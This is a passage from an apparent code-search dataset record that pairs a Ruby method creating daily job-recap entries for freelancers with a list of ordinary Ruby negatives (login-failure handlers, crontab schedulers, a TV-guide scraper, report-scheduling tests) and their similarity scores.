#{Time.now.utc}\"\n end", "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "def failure\n render :json => {:success => false, :errors => {:reason => \"Login failed. Try again\"}}, :status => 401\n end", "def response_for_unable_to_authenticate(env)\n handle_head(env) do\n body = { 'errors' => { 'mauth' => ['Could not determine request authenticity'] } }\n [500, { 'Content-Type' => 'application/json' }, [JSON.pretty_generate(body)]]\n end\n end", "def test_login_unsuccessful\n data = {\n username:\"viet-anh-mulodo\",\n password: \"wrong-password\"\n }\n expected = 1003\n resp = Net::HTTP.post_form(URI.parse('http://localhost:3000/v1/users/login'),data)\n actual = JSON.parse(resp.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end", "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.zone.now}\"\n end", "def incorrect_login_error(err_code)\n error_with_data(\n err_code,\n 'Invalid Details',\n 'Invalid Details',\n GlobalConstant::ErrorAction.default,\n {}\n )\n end", "def render_failed_driver_auth_response\n render status: 401,\n json: json_response(:fail, data: {user: \"User is not a driver.\"})\n end", "def fail(text)\n puts \"#{text}\".foreground(:red)\n end", "def note_failed_signin\n flash[:error] = \"Couldn't log you in as '#{ params[:login] }'.\"\n logger.warn \"Failed login for '#{ params[:login] }' from #{ request.remote_ip } at #{ Time.now.utc }\"\n end" ]
[ "0.70768714", "0.6796995", "0.67547995", "0.661294", "0.65412235", "0.6400311", "0.63880616", "0.63739234", "0.63640934", "0.6360568", "0.63569385", "0.63567924", "0.6341098", "0.63234943", "0.6297755", "0.6274246", "0.62717766", "0.62691784", "0.62691784", "0.62536037", "0.62471604", "0.62471604", "0.62471604", "0.6231802", "0.62255377", "0.6223227", "0.6210989", "0.6177598", "0.616119", "0.6154681", "0.6154681", "0.6149822", "0.6142296", "0.6103927", "0.60979486", "0.6090468", "0.6089271", "0.604901", "0.6044796", "0.60442036", "0.60410076", "0.60316426", "0.6030471", "0.6023173", "0.60224646", "0.60212165", "0.6006719", "0.60061955", "0.60021037", "0.5982448", "0.5977813", "0.5975963", "0.5971348", "0.59668034", "0.59638745", "0.59600526", "0.595917", "0.5953917", "0.59526294", "0.5942776", "0.59332764", "0.59313285", "0.5930813", "0.5916612", "0.5896456", "0.58873117", "0.58860993", "0.58860993", "0.5857157", "0.585385", "0.58483595", "0.58425516", "0.58254", "0.58183503", "0.58115745", "0.5810209", "0.5806158", "0.58050215", "0.5802466", "0.580021", "0.5798638", "0.57981867", "0.57981867", "0.57981867", "0.57981867", "0.57981867", "0.57981867", "0.57981867", "0.57981867", "0.57981867", "0.57981867", "0.57981867", "0.57928985", "0.5792456", "0.5790059", "0.5787432", "0.5774577", "0.57693934", "0.5764242", "0.57589227" ]
0.83829266
0
Create recap daily new job for freelancer
def recap_daily_for_new_job(options) job = Job.find options['job_id'] admin_user = User.find options['admin_user_id'] skills = job.skills.map(&:id) freelancers = FreelancerMember.where(email_validation_key: nil, email_notif_new_job: true, disabled: false) freelancers = freelancers.any_in(skill_ids: skills) freelancers.each do |fm| if fm.recap_daily.blank? fm.recap_daily = RecapDaily.create(member_type: fm._type) end fm.recap_daily.recap_daily_lists.create(type: 'Job', job_id: job.id) end job.update_attribute(:blast_email_to_freelancer, true) ReportBlastEmail.new( :job => job, :user => admin_user, :total_recipients => freelancers.size, :context => ReportBlastEmail::CONTEXT_BLAST_NEW_JOB).save end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n if params[:type] != 'none'\n clone_job = @job\n (1..params[:repeats].to_i).each do |index|\n clone_job = clone_job.dup\n case params[:type]\n when 'weekly'\n clone_job.scheduled_date = clone_job.scheduled_date.to_date + 1.week\n clone_job.completed_date = clone_job.completed_date.to_date + 1.week if clone_job.completed_date.try(:to_date)\n\n when 'monthly'\n clone_job.scheduled_date = clone_job.scheduled_date.to_date + 1.month\n clone_job.completed_date = clone_job.completed_date.to_date + 1.month if clone_job.completed_date.try(:to_date)\n\n when 'quarterly'\n clone_job.scheduled_date = clone_job.scheduled_date.to_date + 3.month\n clone_job.completed_date = clone_job.completed_date.to_date + 3.month if clone_job.completed_date.try(:to_date)\n\n when 'six monthly'\n clone_job.scheduled_date = clone_job.scheduled_date.to_date + 6.month\n clone_job.completed_date = clone_job.completed_date.to_date + 6.month if clone_job.completed_date.try(:to_date)\n\n when 'yearly'\n clone_job.scheduled_date = clone_job.scheduled_date.to_date + 1.year\n clone_job.completed_date = clone_job.completed_date.to_date + 1.year if clone_job.completed_date.try(:to_date)\n end\n clone_job.scheduled_date = clone_job.scheduled_date.to_date.strftime(\"%B %d %Y\")\n clone_job.completed_date = clone_job.completed_date.to_date.strftime(\"%B %d %Y\") if clone_job.completed_date.try(:to_date)\n clone_job.save\n end\n end\n\n format.html { redirect_to app_jobs_path, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end", "def install_crontab\n # create a working crontab file\n # log \"Building crontab\\n\"\n f = File.open(CRONTAB, 'w')\n f.write \"MAIL='keburgett@gmail.com'\\n\"\n # for each sprinkle, write a crontab entry for OPEN and CLOSE times.\n p = Porter.first.localhost_with_port # provides host:port combination\n Sprinkle.all.each do |s|\n [OPEN, CLOSE].each do |action|\n crontab_line = \"#{s.to_crontab(action)} sh #{valve_actuator_path} #{s.valve.to_crontab(action)} #{p} #{s.id}\\n\" \n f.write crontab_line\n # log \"#{crontab_line}\\n\"\n end\n end\n f.close\n system(\"crontab #{CRONTAB}\")\n end", "def run_job(job)\r\n @log = Logger.new(File.expand_path(\"#{Rails.root}/log/scraper_job.log\", __FILE__))\r\n @log.info(\"Job started\")\r\n \r\n # initial job parameters\r\n region_list = JSON.parse(self.target_region_list)\r\n days_to_gather = self.days_to_gather\r\n size_of_a_day = 86400 # epoch time units (86400 is equal to 24 hours)\r\n size_of_a_time_slice = 10800 # epoch time units (10800 is equal to 3 hours)\r\n \r\n # start gathering from the beginning of the current day\r\n initial_start_time = Time.new(Time.now.year, Time.now.month, Time.now.day).to_i\r\n number_of_time_slices = ((days_to_gather * size_of_a_day) / size_of_a_time_slice).to_i\r\n \r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > #{self.class} started (id:#{self.id})\")\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > The Epoch Start Time: #{initial_start_time}\")\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > The Formatted Start Time: #{Time.at(initial_start_time).strftime(\"%c\")}\")\r\n job.save\r\n \r\n # iterate each region\r\n region_list.each {|region_name,region_lookup| \r\n #validate a region exists\r\n region = Region.find_by name: region_name\r\n if region\r\n \r\n # run the channel scraper\r\n encoded_uri = URI.encode(\"https://www.foxtel.com.au/webepg/ws/foxtel/channels?regionId=\" + region_lookup)\r\n #job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > The encoded URI for #{region_name} is #{encoded_uri}\")\r\n #job.save\r\n raw_channels_created = 0\r\n raw_channels_skipped = 0\r\n\r\n # access the file and the data_hash\r\n file = URI.parse(encoded_uri)\r\n get_file_count = 0\r\n begin\r\n data_hash = JSON.parse(file.read)\r\n rescue Errno::ECONNRESET => e\r\n get_file_count += 1\r\n retry unless get_file_count > 10\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > Tried #{get_file_count} times and couldn't get #{file}: #{e}\")\r\n job.save\r\n @log.error(\"#{e.message}\")\r\n @log.error(\"#{e.backtrace}\")\r\n rescue OpenSSL::SSL::SSLError => e\r\n get_file_count += 1\r\n retry unless get_file_count > 10\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > Tried #{get_file_count} times and couldn't get #{file}: #{e}\")\r\n job.save\r\n @log.error(\"#{e.message}\")\r\n @log.error(\"#{e.backtrace}\")\r\n end\r\n\r\n # populate an array of times from the data hash\r\n #@log.debug(\"#{data_hash.inspect}\") \r\n data_hash[\"channels\"].each {|channel_hash|\r\n #@log.debug(\"#{channel_hash.inspect}\")\r\n raw_channel = RawChannel.create_from_channel_hash(region, channel_hash)\r\n if raw_channel.new_record?\r\n raw_channels_skipped += 1\r\n else\r\n raw_channels_created += 1\r\n end\r\n }\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > Raw Channels Created: #{raw_channels_created}, Skipped: #{raw_channels_skipped}, Total: #{raw_channels_skipped + raw_channels_created} for #{region_name}(#{region_lookup.to_s}).\")\r\n job.save\r\n \r\n # run the program scraper\r\n raw_programs_created = 0\r\n raw_programs_skipped = 0\r\n \r\n number_of_time_slices.times do |i|\r\n start_time = Time.at(initial_start_time + (i* size_of_a_time_slice))\r\n end_time = Time.at(start_time.to_i + size_of_a_time_slice)\r\n encoded_uri = URI.encode(\"https://www.foxtel.com.au/webepg/ws/foxtel/grid/events?startDate=\" + start_time.to_i.to_s + \"000&endDate=\" + end_time.to_i.to_s + \"000&regionId=\" + region_lookup)\r\n #job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > The encoded URI is #{encoded_uri}\")\r\n #job.save\r\n \r\n # access the file and the data_hash\r\n file = URI.parse(encoded_uri)\r\n get_file_count = 0\r\n begin\r\n data_hash = JSON.parse(file.read)\r\n rescue Errno::ECONNRESET => e\r\n get_file_count += 1\r\n retry unless get_file_count > 10\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > Tried #{get_file_count} times and couldn't get #{file}: #{e}\")\r\n job.save\r\n @log.error(\"#{e.message}\")\r\n @log.error(\"#{e.backtrace}\")\r\n rescue OpenSSL::SSL::SSLError => e\r\n get_file_count += 1\r\n retry unless get_file_count > 10\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > Tried #{get_file_count} times and couldn't get #{file}: #{e}\")\r\n job.save\r\n @log.error(\"#{e.message}\")\r\n @log.error(\"#{e.backtrace}\")\r\n end\r\n \r\n # populate an array of times from the data hash\r\n #@log.debug(\"#{data_hash.inspect}\")\r\n data_hash[\"channelEventsByTag\"].each {|channel_events|\r\n #@log.debug(\"#{program_array.inspect}\")\r\n channel_tag = channel_events[0]\r\n channel = Channel.find_by_tag(channel_tag)\r\n raw_channel = RawChannel.find_by_channel_tag_and_region_name(channel_tag,region_name)\r\n if channel.nil? and raw_channel.nil?\r\n # no channel or raw channel\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > The channel record and raw_channel record for #{channel_tag} in #{region_name} does not exist!\")\r\n job.save\r\n else\r\n # channel is ok\r\n array_of_channel_events = channel_events[1]\r\n #job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > Processing #{array_of_channel_events.length} channel events for channel #{channel.name} for #{region_name}.\")\r\n #job.save \r\n array_of_channel_events.each { |channel_event|\r\n raw_program = RawProgram.create_from_channel_event(region, channel_tag, channel_event)\r\n if raw_program.new_record?\r\n raw_programs_skipped += 1\r\n else\r\n raw_programs_created += 1\r\n end \r\n } \r\n end\r\n }\r\n end\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > Raw Programs Created #{raw_programs_created}, Skipped: #{raw_programs_skipped}, Total: #{raw_programs_created + raw_programs_skipped} for #{region_name}(#{region_lookup.to_s}).\")\r\n job.save\r\n else\r\n # no region\r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > The region record for #{region_name} does not exist!\")\r\n job.save\r\n end\r\n }\r\n \r\n job.log.concat(\"\\n#{Time.now.strftime(\"%F %T %Z\")}: > #{self.class} completed (id:#{self.id})\")\r\n job.save\r\n \r\n @log.info(\"#{self.class} completed (id:#{self.id})\")\r\n return true\r\n end", "def job_discovery_generate_featured_job company_name:, requisition_id:\n # [START job_discovery_generate_featured_job]\n # company_name = \"The resource name of the company listing the job. The format is \"projects/{project_id}/companies/{company_id}\"\"\n # requisition_id = \"The posting ID, assigned by the client to identify a job\"\n\n require \"google/apis/jobs_v3\"\n require \"securerandom\"\n # Instantiate the client\n jobs = Google::Apis::JobsV3\n\n talent_solution_client = jobs::CloudTalentSolutionService.new\n # @see\n # https://developers.google.com/identity/protocols/application-default-credentials#callingruby\n talent_solution_client.authorization = Google::Auth.get_application_default(\n \"https://www.googleapis.com/auth/jobs\"\n )\n\n application_info = jobs::ApplicationInfo.new uris: [\"http://careers.google.com\"]\n job_generated = jobs::Job.new requisition_id: requisition_id,\n title: \" Lab Technician\",\n company_name: company_name,\n application_info: application_info,\n description: \"Design, develop, test, deploy, \" +\n \"maintain and improve software.\"\n # Featured job is the job with positive promotion value\n job_generated.promotion_value = 2\n puts \"Featured Job generated: #{job_generated.to_json}\"\n job_generated\n # [END job_discovery_generate_featured_job]\nend", "def do_job\r\n# disable recycle invites\r\n# min = Time.now.min\r\n# #recycle invites 1 min per hour\r\n# if min == 0\r\n# ret = ActiveRecord::Base.connection.execute(\"delete from invites where invitee_id is null and created_at < subdate(now(), interval 3 day)\")\r\n# puts \"recycle invites: #{ret}\"\r\n# end\r\n end", "def install_crontab\n # create a working crontab file\n f = File.open(CRONTAB, 'w')\n f.write \"MAIL='keburgett@gmail.com'\\n\"\n # for each sprinkle, write a crontab entry for OPEN and CLOSE times.\n Sprinkle.all.each do |s|\n [AppConstants::OPEN, AppConstants::CLOSE].each do |action|\n crontab_line = \"#{s.to_crontab(action)} sh #{valve_actuator_path} #{s.valve.to_crontab(action)} #{host_with_port}\\n\" \n f.write crontab_line\n # #logger.info crontab_line\n end\n end\n f.close\n system(\"crontab #{CRONTAB}\")\n end", "def add_cron_job(job)\n client.create_cron_job(Kubeclient::Resource.new(job.cron_job_manifest))\n end", "def create\n @job = Job.new(job_params)\n @job.creator = current_user\n @job.tasks.each do |task|\n if @job.job_type.present?\n task.type = \"#{@job.job_type.to_s.singularize.capitalize}Task\"\n end\n task.creator = current_user\n task.worker ||= current_user\n task.payoff_amount_cents ||= 0\n end\n respond_to do |format|\n if @job.save\n @job.tasks.each{ |task| task.set_price }\n format.html {\n if params[:commit].to_s.match(/save.*new/i)\n redirect_to new_job_path(client_id: @job.client_id, job_type: @job.job_type), notice: 'Job was successfully created. Create another one below...' \n else\n redirect_to @job, notice: 'Job was successfully created.'\n end\n }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end", "def new_job(job, username, password)\n puts \"Requesting quote for job:\"\n puts JSON.pretty_generate(job)\n puts \"\"\n res = post_json('jobs.json', job, username, password)\n if res['error'] || res['status'] == 'error'\n puts \"Job rejected (error #{res['status']}): #{res['error'] || res['reason']}\"\n return\n end\n\n puts \"Gnip's job desc:\"\n puts summarise_job(res)\nend", "def createJobWithDefaults\n\t\t@job = @user.jobs.new\n\t\t@job.sender = \"Average Joe <average.joe@gmx.net>\"\n\t\t@job.destinations = \"recipient@gmx.net\"\n\t\t@job.subject = \"A Simple Subject\"\n\t\t@job.content = \"This is a simple test content!\\n\\n#{Time.now.localtime}\"\n\t\t@job.repetition = 2\n\t\t@job.delay = 10\n\tend", "def perform(time)\n puts \"This job was published at #{}\"\n end", "def ccat_reschedule!\n # The TARGET is currently hard coded due to the fact that all ccat runs are\n # testing against the cdn-live pub target\n MessageBus.send_message(\n { 'ERRATA_ID' => errata.id.to_s,\n 'JIRA_ISSUE_ID' => issue_url,\n 'TARGET' => 'cdn-live',\n },\n 'ccat.reschedule_test'\n )\n end", "def create_builds(job:)\n started = Time.now\n finished = Time.now + 10*60 # set finished to now + 60 minutes\n 10.times { |i| job.builds.create!(\n build_number: i,\n status: [\"aborted\", \"failed\", \"succeeded\", \"pending\", \"started\"].sample,\n started: started,\n finished: finished\n ) }\nend", "def test_schedule_job_simple_trigger\r\n # Create a trigger object with simple recurrence\r\n trigger = JasperServer::ReportSchedulerService::JobSimpleTrigger.new\r\n trigger.startDate = SOAP::SOAPDateTime.new( \"2010-01-01T00:00:00.0000000+02:00\" )\r\n trigger.occurrenceCount = 1\r\n trigger.recurrenceInterval = 1\r\n trigger.recurrenceIntervalUnit = JasperServer::ReportSchedulerService::IntervalUnit::WEEK\r\n \r\n # Create an mail notification object\r\n email = JasperServer::ReportSchedulerService::JobMailNotification.new\r\n email.toAddresses = \"all4miller@gmail.com\"\r\n email.subject = \"Schedule report execution completed successfully\"\r\n email.messageText = \"Schedule report execution completed successfully\"\r\n email.resultSendType = JasperServer::ReportSchedulerService::ResultSendType::SEND_ATTACHMENT\r\n \r\n # Create a repository destination object \r\n repo_dest = JasperServer::ReportSchedulerService::JobRepositoryDestination.new\r\n repo_dest.folderURI = '/ContentFiles/pdf'\r\n repo_dest.sequentialFilenames = false \r\n repo_dest.overwriteFiles = true\r\n \r\n # Create a job object \r\n job = JasperServer::ReportSchedulerService::Job.new\r\n job.reportUnitURI = @test_report_no_params['uri']\r\n job.label = @test_report_no_params['output_label'] \r\n job.baseOutputFilename = @test_report_no_params['output_filename']\r\n job.outputFormats = ['PDF']\r\n job.simpleTrigger = trigger\r\n job.mailNotification = email\r\n job.repositoryDestination = repo_dest\r\n \r\n # Create the schedule on the server \r\n job_res = @scheduler_service.scheduleJob( job )\r\n assert_not_nil( job_res, 'Failed to create schedule with simple recurrence' ) \r\n @test_jobs << job_res.id if !job_res.nil? \r\n end", "def apply\n if desired.cron_exists\n action_create\n else\n action_delete\n end\n end", "def help\n puts \"job 'name' - create job named 'name'\"\n puts \"background 'name' - make 'name' a background job\"\n puts \"forget_background - make there be no background job\"\n puts \"jobs - a list of jobs\"\n puts \"forget_job 'name' - forget a job\"\n puts \"\"\n\n puts \"start 'job' - start named job\"\n puts \"pause - pause current job\"\n puts \"stop 'job' - stop named job\"\n puts \"stop - stop the running job\"\n puts \"active - jobs that have been started and not stopped\"\n puts \"record 'job', 20.minutes, 'jan-23 1:00 pm'\"\n puts \"\"\n\n puts \"start_day - start the day with the background job\"\n puts \"pause_day - pause all jobs\"\n puts \"stop_day - stop all active jobs\"\n \n puts \"\"\n puts \"records - see accumulated records\"\n puts \"this_month - records so far this month\"\n puts \"last_month - last month's records\"\n puts \"recent - yesterday and today's records\"\n puts \"\"\n\n puts \"The following commands refer to the numbers printed by\"\n puts \"'records', 'this_month', and similar commands.\"\n puts \"forget 2, 3 - forget those records\"\n puts \"shorten 1, 20.minutes - remove 20 minutes from record 1\"\n puts \"lengthen 1, 20.minutes - add 20 minutes to record 1\"\n puts \"\"\n\n puts \"The 'at' command allows you to start, pause, start_day (etc.)\"\n puts \"at particular times in the past or future. Examples:\"\n puts \" at '1:00 pm' do start 'job' end\"\n puts \" at '2003/01/23 8:00 a.m.' do start_day end\"\n puts \" at '9:33 PM yesterday' do stop_day end\"\n puts \"\"\n \n\n puts \"undo - undo last command.\"\n print \"exit - leave the program\" # No trailing newline.\n\n end", "def create\n @chore = @dwelling.chores.build(params[:chore])\n @chore.owner = current_user\n @chore.active = true\n\n # Make the actual cron-format string\n cron_cmd = \"/bin/bash -l -c 'cd #{Rails.root} && bundle exec rake chores:activate_chore CHORE_ID=\"\n case @chore.cron_str\n when \"Every M/W/F\"\n @chore.cron_str = \"0 0 * * MON,WED,FRI #{cron_cmd}\"\n when \"Every T/Th\"\n @chore.cron_str = \"0 0 * * TUE,THU #{cron_cmd}\"\n when \"Every Sunday\"\n @chore.cron_str = \"0 0 * * SUN #{cron_cmd}\"\n else\n @chore.cron_str = nil\n end\n\n # if @chore.cron_str\n # puts @chore.cron_str\n # puts (CronEdit::Crontab.Add \"chore_#{params[:id]}\", @chore.cron_str)\n # end\n\n respond_to do |format|\n if @chore.save\n if @chore.cron_str\n puts @chore.cron_str\n puts (CronEdit::Crontab.Add \"chore_#{@chore.id}\", \"#{@chore.cron_str}#{@chore.id}'\")\n end\n format.html { redirect_to @chore, notice: 'Chore was successfully created.' }\n format.json { render json: @chore, status: :created, location: @chore }\n else\n format.html { render :new }\n format.json { render json: @chore.errors, status: :unprocessable_entity }\n end\n end\n end", "def to_crontab(action)\n # log \"Sprinkle.to_crontab(#{action})\\n\"\n if action == OPEN\n t = start_time\n # log \"start_time --> #{time_as_string(t)}\\n\"\n else\n t = start_time + duration*60\n # log \"stop_time --> #{time_as_string(t)}\\n\"\n end\n t.strftime(CRONTAB_STRFTIME)\n end", "def create\n\t\t\n\t\t@start_date=Time.new(system_siteview_params[\"visit_date(1i)\"].to_i,system_siteview_params[\"visit_date(2i)\"].to_i,system_siteview_params[\"visit_date(3i)\"].to_i,system_siteview_params[\"visit_date(4i)\"],system_siteview_params[\"visit_date(5i)\"].to_i)\n \n\t\tformat2=*params[\"recordar\"].values.map(&:to_i)\n\t @end_date=Date.new(format2[2],format2[1],format2[0])\n\n\t\t@start_date_google=system_siteview_params[\"visit_date(1i)\"].to_s + '-' + system_siteview_params[\"visit_date(2i)\"].to_s + '-' + system_siteview_params[\"visit_date(3i)\"].to_s + 'T'+system_siteview_params[\"visit_date(4i)\"].to_s+':'+system_siteview_params[\"visit_date(5i)\"].to_s+':00-06:00'\n\t\tputs 'AKI VA LA HOR ADE GOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOGLE'\n\t\tputs @start_date_google\n\t @system_siteview = System::Siteview.new(system_siteview_params)\n renewal=System::Renewal.find(system_siteview_params[:renewal_id])\n format=*params[\"recordar\"].values.map(&:to_i)\n \n \n @recordar=Time.new(format[2],format[1],format[0],format[3],format[4]) \n @email=renewal.contract.supplier.email\n puts 'AKI DEBE IR EL PARAMETRO RECORDAR ROOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOT'\n puts @recordar\n puts 'AKI VA EL CAMPO NOW TIME ROOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOT'\n puts Time.now\n puts 'AKI TERMINA IR EL PARAMETRO EMAIL ROOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOT'\n puts @email\n \n \n\t\t\t@x=System::Renewal.find(system_siteview_params[:renewal_id])\n\t\t\t@google_event_start = System::Siteview.event_insert(@start_date_google,@start_date_google,@x.contract.description,'neuro')\n \n @email_departamento = @x.contract.device.location.email \n array_mailer = [@email, @email_departamento, params[:notificaciones]]\n \n @delayed_id_start = ApplicationMailer.delay(run_at: @recordar).send_mail(array_mailer,@x.contract,'create_siteview', @start_date, nil)\n \n puts 'AKI DEBE SALIR EL ID DEL EVENETO DELAYED_JOBS'\n puts @delayed_id_start.id\n puts 'AKI DEBE SALIR EL ID DEL EVENETO DELAYED_JOBS'\n \n\t\t\t@system_siteview= System::Siteview.new(renewal_id: system_siteview_params[:renewal_id], visit_date: @start_date, google_event_start: @google_event_start, completed: system_siteview_params[:completed], delayed_id_start: @delayed_id_start.id)\n\n respond_to do |format|\n if @system_siteview.save\n\t\n format.html { redirect_to @system_siteview, notice: t('.created') }\n format.json { render :show, status: :created, location: @system_siteview }\n format.js { redirect_to @system_siteview, notice: t('.created') }\n else\n format.html { render :new }\n format.json { render json: @system_siteview.errors, status: :unprocessable_entity }\n format.js { render :new }\n end\n end\n end", "def test_schedule_job_calendar_trigger\r\n # Create a trigger object with calendar recurrence\r\n trigger = JasperServer::ReportSchedulerService::JobCalendarTrigger.new\r\n trigger.startDate = SOAP::SOAPDateTime.new(\"2010-01-01T08:00:00.0000000+02:00\")\r\n trigger.minutes = \"0\"\r\n trigger.hours = \"8\"\r\n trigger.daysType=JasperServer::ReportSchedulerService::CalendarDaysType::ALL\r\n trigger.months = [0,1,2,3,4,5,6,7,8,9,10,11]\r\n \r\n # Create an mail notification object\r\n email = JasperServer::ReportSchedulerService::JobMailNotification.new\r\n email.toAddresses = \"all4miller@gmail.com\"\r\n email.subject = \"Schedule report execution completed successfully\"\r\n email.messageText = \"Schedule report execution completed successfully\"\r\n email.resultSendType = JasperServer::ReportSchedulerService::ResultSendType::SEND_ATTACHMENT\r\n \r\n # Create a repository destination object \r\n repo_dest = JasperServer::ReportSchedulerService::JobRepositoryDestination.new\r\n repo_dest.folderURI = '/ContentFiles/pdf'\r\n repo_dest.sequentialFilenames = false \r\n repo_dest.overwriteFiles = true\r\n \r\n # Create a job object \r\n job = JasperServer::ReportSchedulerService::Job.new\r\n job.reportUnitURI = @test_report_no_params['uri']\r\n job.label = @test_report_no_params['output_label'] \r\n job.baseOutputFilename = @test_report_no_params['output_filename']\r\n job.outputFormats = ['PDF']\r\n job.calendarTrigger = trigger\r\n job.mailNotification = email\r\n job.repositoryDestination = repo_dest\r\n \r\n # Create the schedule on the server \r\n job_res = @scheduler_service.scheduleJob( job ) \r\n assert_not_nil( job_res, 'Failed to create schedule with calendar recurrence' ) \r\n @test_jobs << job_res.id if !job_res.nil? \r\n end", "def process_new\n # each time a job is run then then a note is made that the owning user\n # has run a job. This is so we can get a count of jobs even if the user\n # deletes them\n user = User.find_by_email(self.email)\n if user.runs[\"#{self.type}\"].blank?\n user.runs[\"#{self.type}\"] = 1\n else\n user.runs[\"#{self.type}\"] += 1\n end\n user.save\n\n # get the input file, if it has not already been loaded\n begin\n if self.infile.nil? and !self.inputurl.nil?\n self.get_infile unless (self.type == 'durden' or self.type == 'identkey')\n end\n rescue\n self.jobfail(\"Could not get input file\",\"could not get input file\")\n return\n end\n\n # before processing the job, write a brief summary to the log of this job. It\n # should be csv: type,user,id,date\n logfile = \"#{Vibrant::Application.config.dropbox}/oboe_log_#{Rails.env}.txt\"\n begin\n open(logfile, 'a') do |f|\n f.puts \"#{self.type},#{self.email},#{self.id},#{self.created_at}\"\n end\n rescue\n Rails.logger.error(\"Could not write to logfile!\")\n end\n \n # having got the file, we can now commence the processing\n begin\n self.send(\"process_new_#{self.type}\")\n rescue\n self.update_attributes(:status =>'not yet available')\n end\n end", "def create\n @job = @user.jobs.new(params[:job])\n\n respond_to do |format|\n if @job.save\n\t\t# send mail now or later...\n\t\tBackground.instance.delay.sendLater(@job)\n\t \n format.html { redirect_to(@job, :notice => 'Job was successfully created.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end", "def job\r\n\r\n a = \"闻》4月27日报道】题:中国军机展开前所未有的威吓飞行 据多名政府高官26日透露,就在中国8艘海监船23日侵入尖阁诸岛(即我钓鱼岛及其附属岛屿——本网注)周边日本领海的同时,中国的战斗机等军用飞机在尖阁诸岛周边飞行超过40架次。 军用飞机多数是战斗机,中国投入了新型苏-27和苏-30。这些战斗机趁航空自卫队战斗机飞行员疲惫的时候蜂拥而至。政府高官称这是“前所未有的威吓”。 政府方面认为中国军机的威吓飞行是为了配合海监船侵入领海。 中国军机从上空对海上保安厅的防范态势和海上自卫队护卫舰、P-3C巡逻机的部署进行侦察,估计向海监船进行了通报。 23日上午7时23分至8时25分左右,8艘海监船相继进入尖阁周边海域。其中一艘逼近鱼钓岛(即我钓鱼岛——本网注)西北约一公里处。当日下午7时半左右,8艘海监船离开了日本领海。 在海监船侵入领海之际,中国的战斗机等军用飞机也开始朝尖阁周边飞去。这些飞机交替着逼近尖阁周边上空,每次逼近时航空自卫队那霸基地的F-15等战斗机就紧急出动。飞来的中国军机总共在40架次以上。 \"\r\n # a = \"In the above outline, expression is a Ruby expression \r\n # The ruby code here marker is where the code to executed \r\n # the expression evaluates to false.\"\r\n # xx <span>the</span> xx bbbb the xxxx the bb\r\n # 0123456789012345678901234567890123456789\r\n # a = \"xx the xx bbbb the xxxx the bb\"\r\n kw = \"中国\"\r\n # kw = \"the\"\r\n r = /#{kw}/\r\n marker = 0\r\n t1 = \"<span style='color: blue;'>\"\r\n t2 = \"</span>\"\r\n counter = 0\r\n maxnum = 3\r\n \r\n logout(\"====================================\")\r\n logout(\"a=\" + a)\r\n logout(\"Span added=\" + add_span(a, kw, t1, t2))\r\n \r\n # puts \"a=\" + a\r\n # puts\r\n # \r\n # puts add_span(a, kw, t1, t2)\r\n # puts\r\n \r\n # # 1\r\n # puts \"<1>\"\r\n # \r\n # puts \"r =~ a\"\r\n # puts r =~ a\r\n # \r\n # # 2\r\n # 